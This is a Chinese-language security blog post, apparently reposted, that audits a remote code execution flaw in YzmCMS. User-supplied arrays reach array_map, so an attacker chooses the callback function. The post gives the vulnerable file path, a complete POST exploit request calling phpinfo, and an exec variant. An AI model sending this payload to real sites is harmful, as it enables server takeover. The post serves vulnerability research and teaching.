文章总结: 本文分析YzmCMS远程任意命令执行漏洞。漏洞位于支付回调控制器,where方法未过滤用户传入数组,直接传给array_map导致攻击者可控制回调函数名。构造特定POST请求提交含phpinfo或exec的数组参数即可触发代码执行。建议严格过滤传入参数,禁止用户输入作为回调函数名并尽快修复。 综合评分: 86 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全
代码审计 yzmcms远程任意命令执行漏洞
原创
moonsec moonsec
moonsec
2026年4月20日 10:09 广东
在小说阅读器读本章
去阅读
免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
一、概述
YzmCMS(以下简称本产品)采用面向对象方式自主研发的YZMPHP框架开发,它是一款开源高效的内容管理系统,产品基于PHP+Mysql架构,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。
二、代码审计
路由访问方式 index.php?m=模块名&c=控制器名&a=方法名
前台任意代码执行漏洞
直接走到代码执行的地方 array_map是执行一个回调函数 刚好phpinfo字符串传入 所以 array_map(“phpinfo”,2) 会执行phpinfo函数
如果传入catid[]=eq&catid[][]=calc&catid[]=exec就会弹出计算器
怎么利用?搜索->where() 直接传入参数即可
漏洞位置 application/pay/controller/index.class.php
复现漏洞
POST /pay/index/pay_callback.html HTTP/1.1
Host: www.d26.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
out_trade_no[]=eq&out_trade_no[][]=1&out_trade_no[]=phpinfo
执行phpinfo返回信息
关注公众号回复【20260420】下载本源码
想系统学习渗透测试?扫码报名培训课程!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:moonsec moonsec moonsec《代码审计 yzmcms远程任意命令执行漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![[工具教程]Burp效率封神!xiaLiao插件一键生成测试信息,渗透测试省一半时间](/images/random/titlepic/15.jpg)
评论